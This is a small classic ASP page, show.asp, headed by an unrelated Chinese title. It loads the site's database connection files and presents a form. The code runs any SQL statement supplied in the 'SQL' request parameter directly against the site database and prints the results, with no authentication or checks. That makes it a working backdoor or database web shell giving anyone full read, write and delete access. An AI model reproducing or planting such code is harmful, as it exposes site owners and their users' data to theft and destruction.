show.asp

1。超强文件读写锁定

<!--#include file="manage/mConn.asp"-->
<!--#include file="manage/mConst.asp"-->
<!--#include file="manage/sk2.asp"-->

<%if request("num")="" then
num=0
else
num=cint(request("num"))
end if
if request("SQL")<>"" then
Set Rs6=Conn.Execute(request("SQL"))
	If Not Rs6.Eof Then
	 Show=Rs6.GetRows(-1)
	 for i=0 to ubound(Show,2)
	 for j=0 to num
	response.Write show(J,I)&"&nbsp;&nbsp;"
	next
	response.Write "<br>"
	next
	End If
end if 
	%>
	<form action="show.asp">
	<input type="text" size=40 value="" name=SQL><br>
	<input type="text" value="" name=num>
	<input type="submit" >
	</form>